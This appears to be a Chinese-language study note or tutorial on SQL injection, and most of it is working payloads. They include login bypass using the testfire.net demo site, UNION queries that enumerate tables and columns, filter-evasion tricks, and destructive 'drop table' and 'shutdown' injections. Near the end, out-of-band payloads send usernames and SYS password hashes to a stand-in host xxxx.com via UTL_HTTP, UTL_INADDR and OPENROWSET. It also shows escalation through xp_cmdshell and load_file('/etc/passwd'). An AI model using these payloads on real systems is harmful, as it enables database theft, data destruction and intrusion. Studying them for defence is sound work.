解释型语言和编译型语言:
解释型语言:运行是由一个运行时组件解释语言代码并执行其中包含的指令语言.
编译型语言:是由它的代码在生成可执行文件时换转成机器指令,然后在运行时直接由该语言的计算机处理器执行指令.
从理论上讲,任何语言都可使用编译器或解释器或来执行,这种区别不是语言本身的内在特性,通常大多数语言仅通过上述其中一种方式执行.基于解释型语言的执行方式,产生了一系列叫做代码注入的漏洞.
绕过登录:
这是一个测试项目 http://www.testfire.net/default.aspx
在登录页面 username: admin' -- 密码随意填写 即可绕过登录.
admin'-- 相当与查询SQL语言 select * from user where username='admin'--' and password='123'; 后面的将被注释掉.
mysql Oracle sqlserver 语法基本一样 只有一些细微的差别.
--Mysql没有Boolen类型, 不过 true 等于1 false等于0 这样我们就使用下面语句查询 即便不知道密码同样可以查出数据
select user, pass from users where user='admin' and true;
select user, pass from users where user='admin' and 1;
select user, pass from users where user='admin' and 1=1;
select user, pass from users where user='admin' and false;
select user, pass from users where user='admin' and 1=0;
select user, pass from users where user='admin' and 0;
--字符 类型转换
select user, pass from users where user='admin' and pass='password1'='password2';
pass='password1'='password2' 表达式是从左到右, pass='password1' 返回 0,查询的表中没有这个密码. 新的表达式0='password2' , =不能直接比较不同类型的两个值,password2会被隐士转换为double类型进行于0比较,但这个字母数字值不能被转换,会返回一个0, 最终表达式 0=0,结果为true. 不仅登录可以注入,任何查询数据库的地方都有可能出现注入.
不知道用户或管理员账户的情况下使用'OR 1=1--注入:
' OR 1=1-- #许多Web程序会在数据库中手工建立一个管理员 当提交注入的时候会,以数据库中第一个用户的身份登录.
select * from users where user=' ' or 1=1--' and pass='123';
select * from users where user=' ' or 1=1;
注册注入:
insert into users (user,pass) values('gg','1234');
不会只出现两个字段,这时只能猜字段. gg', 1234, 1234, 1234) --
修改功能:
update users set pass=123456 where user='gg' and pass=1234;
update慎用,这个更新字段可能会造成严重问题, 如果提交 gg' or 1=1-- 可能会造成整个表数据造成损坏.
删除功能:
delete from users where user='gg';
delete from users where 1;
delete更加危险,拼接sql gg' or 'a'='a' 就GG了......
查找SQL注入: URL参数,cookie, POST数据项, HTTP消息头等.
识别数据库:
在请求中提交特殊的值, Oracle 'serv' || 'ices' SqlServer 'serv'+'ices' Mysql 'serv' 'ices'中间是空格.
数字数据求值为0 其它库报错. Oracle BITAND(1,1)-BITAND(1,1) SqlServer @@PACK_RECEIVED-@@PACK_RECEIVED Mysql CONNECTION_ID()-CONNECTION_ID()
UNION操作符:
select user from users where user='gg' union select user from users where user='admin'; #将查询出两条信息
+-------+
| user |
+-------+
| gg |
| admin |
+-------+
admin' or 1=1 order by 1 # #猜字段 知道字段猜完
admin' union select 1,database() # #查当前数据库
admin' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # #查表
aadmin' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
union select #还可以查另一个表中的数据 但必须字段相同
' union select NULL # #NULl可以被转成任何数据类型 以此猜字段
根据猜测的字段填补 字符进行测试 看是否正确
' union select 1, NULL # Oracle 数据库 DUAL来满足条件
避开过滤:
有黑名单就很难进行注入,需要寻找其中的缺陷. select 关键字被禁止,可使用SeLeCt大小写的方式,在编码中加入%00等相关编码格式.还可使用SQL注解,/* */
带有GG的注入:
SQL注入虽然无法在错误页面看到有用的信息,但存在恶意的操作,可以进行关闭数据库删除表等等
' shutdown -- ' drop table users --
通过网路通道注入:
insert into oepnrowset('SQLOLEDB','DRIVER={SQL Server};SERVER=xxx.com,8080;UID=sa;PWD=letmein','select * from tables') values (@@version)
Oracle : UTL_HTTP可向其他主机提出任意HTTP请求,UTL_HTTP支持代理服务器,cookie,重定向和验证.
URL' || UTL_HTTP.request('xxxx.com:8080/' || (SELECT%20username%20FROM%20all_users%20WHERE%20ROWNUM%3d1)) --
UTL_INADDR将主机名解析为IP地址,可用于在控制的服务器中欧你生成任意的DNS查询.
URL '|| UTL_INADDR.GET_HOST_NAME((SELECT%20PASSWORD%20FROM%20DBA_USERS%20WHERE%20NAME='SYS')||'xxxx.com')
UTL_SMTP包可用于发送电子邮件,在出站电子邮件中发送这个包,可获得大量从数据库中截取的数据.
UTL_TCP包可用于打开任意TCP套接字.发送和接收数据.
MySql OUTFILE命令可将任意查询的输出指向一个文件,指定文件名和路径.
通过攻破数据库提升权限:
xp_cmdshell 运行数据库管理员以cmd.exe命令提示符相同的方式执行操作系统命令
Oracle 可利用DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY 使用DBMS_JAVA.RUNJAVA Java类来访问系统
MySql FILE_PRIV 可用以读取并写入文件. select load_file('/etc/passwd')